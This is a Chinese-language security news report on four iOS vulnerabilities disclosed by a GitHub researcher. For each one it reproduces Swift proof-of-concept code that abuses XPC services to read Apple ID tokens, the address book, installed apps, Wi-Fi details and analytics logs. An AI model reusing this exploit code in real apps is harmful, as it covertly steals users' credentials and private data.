研究人員發(fā)現(xiàn)三個(gè)iOS 0 day漏洞PoC代碼
研究人員發(fā)現(xiàn)3個(gè)iOS 0 day漏洞PoC代碼。
GitHub用戶(hù)illusionofchaos在GitHub上發(fā)布了4個(gè)iOS 安全漏洞的PoC代碼,其中包含3個(gè)0 day漏洞和1個(gè)已修復(fù)的安全漏洞。這4個(gè)漏洞分別是:
- Gamed 0-day
- Nehelper Enumerate Installed Apps 0-day
- Nehelper Wifi Info 0-day
- Analyticsd (iOS 14.7中已修復(fù))
Gamed 0-day
從APP store中按住那個(gè)的應(yīng)用可以在用戶(hù)不知情的情況下訪問(wèn)以下信息:
- Apple ID郵箱和Apple ID賬戶(hù)的全名;
- Apple ID認(rèn)證token,允許以用戶(hù)名義訪問(wèn)*.apple.com上的至少1個(gè)終端;
- Core Duet數(shù)據(jù)庫(kù)的完全文件系統(tǒng)讀權(quán)限,其中包含郵箱、SMS、iMessage和第3方消息APP的聯(lián)系人,以及與這些聯(lián)系人進(jìn)行用戶(hù)交互的元數(shù)據(jù);
- 快速撥號(hào)數(shù)據(jù)庫(kù)和地址簿數(shù)據(jù)庫(kù)的完全文件系統(tǒng)讀權(quán)限,包括聯(lián)系人圖片和其他元數(shù)據(jù);
PoC代碼如下:
- let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
- let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
- let pid = ProcessInfo.processInfo.processIdentifier
- proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
- accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
- let appleID = response.credential.accountName
- let token = response.credential.authenticationToken
- }
- utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
- let addressBookData = data
- }
- }
Nehelper Enumerate Installed Apps 0-day
該漏洞允許任何用戶(hù)安裝的APP來(lái)確定設(shè)備上安裝的APP是否是給定的bundle ID。XPC終端com.apple.nehelper 有一個(gè)訪問(wèn)APP的方法可以接受bundle ID作為參數(shù),并返回含有緩存UUID的數(shù)組,緩存的UUID可以用來(lái)與設(shè)備上安裝的應(yīng)用的bundle ID進(jìn)行配對(duì)。具體參見(jiàn)/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :
- func isAppInstalled(bundleId: String) -> Bool {
- let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
- xpc_dictionary_set_uint64(xdict, "cache-command", 3)
- xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
- if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
- return true
- }
- return false
- }
Nehelper Wifi Info 0-day
XPC終端com.apple.nehelper會(huì)接收用戶(hù)提供的參數(shù)sdk-version,如果該值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就會(huì)跳過(guò)。這使得任何符合條件的APP都可以在無(wú)需entiltlement的情況下獲取WiFi信息。
- func wifi_info() -> String? {
- let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
- xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
- xpc_dictionary_set_string(xdict, "interface-name", "en0")
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
- if let result = xpc_dictionary_get_value(reply, "result-data") {
- let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
- let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
- return "SSID: \(ssid)\nBSSID: \(bssid)"
- } else {
- return nil
- }
- }
Analyticsd (iOS 14.7中已修復(fù))
該漏洞允許任意用戶(hù)安裝的APP訪問(wèn)分析日志。這些日志中含有以下信息:
- 醫(yī)療信息,包括心跳、異常心律事件等;
- 設(shè)備使用信息,包括推送通知數(shù)和用戶(hù)的行為等;
- 屏幕時(shí)間信息和給定bundle ID的所有有用的會(huì)話(huà)數(shù);
- Safari中用戶(hù)查看的web頁(yè)面的語(yǔ)言;
- 設(shè)備配件的信息,包括廠商、型號(hào)、固件版本和用戶(hù)分配的名字;
- func analytics_json() -> String? {
- let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_string(xdict, "command", "log-dump");
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
- return xpc_dictionary_get_string(reply, "log-dump");
- }
更多參見(jiàn):https://habr.com/ru/post/579714/